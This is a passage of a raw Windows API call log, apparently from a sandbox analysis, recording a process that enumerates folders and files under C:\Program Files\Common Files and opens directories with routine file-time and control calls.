ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.054] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0232.054] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="")) returned 1 [0232.054] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0232.055] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="")) returned 1 [0232.055] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0232.055] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0232.055] GetLastError () returned 0x12 [0232.055] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd520 [0232.055] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0232.055] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.055] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0232.055] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0232.055] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER" (normalized: "c:\\program files\\common files\\designer"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0232.077] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER" (normalized: "c:\\program files\\common files\\designer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0232.077] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0232.077] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8ff690 [0232.077] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8ff690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x8ff690, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0232.077] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8ff690) returned 1 [0232.077] NtClose (Handle=0x170) returned 0x0 [0232.077] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0232.077] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0232.077] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0232.077] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0232.077] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd4e0 [0232.078] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.078] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0232.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0232.078] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0232.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0232.078] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0232.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0232.078] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0232.078] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0232.078] GetLastError () returned 0x12 [0232.078] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd560 [0232.078] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0232.078] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.078] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0232.078] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0232.078] GetLastError () returned 0x12 [0232.078] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0232.078] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0232.079] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0232.079] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0232.079] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="")) returned 1 [0232.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0232.079] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared" (normalized: "c:\\program files\\common files\\microsoft shared"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0232.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared" (normalized: "c:\\program files\\common files\\microsoft shared"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0232.079] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0232.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8ff690 [0232.079] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8ff690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x8ff690, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0232.079] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8ff690) returned 1 [0232.079] NtClose (Handle=0x1b0) returned 0x0 [0232.079] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0232.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0232.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0232.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0232.079] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd560 [0232.079] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.080] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1 [0232.080] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0232.080] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0232.080] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0232.080] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0232.080] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0232.080] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0232.080] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="")) returned 1 [0232.080] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0232.080] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0232.080] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="")) returned 1 [0232.080] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1 [0232.080] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="")) returned 1 [0232.080] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="")) returned 1 [0232.080] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="")) returned 1 [0232.080] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1 [0232.080] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES14", cAlternateFileName="")) returned 1 [0232.080] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1 [0232.080] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1 [0232.080] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, 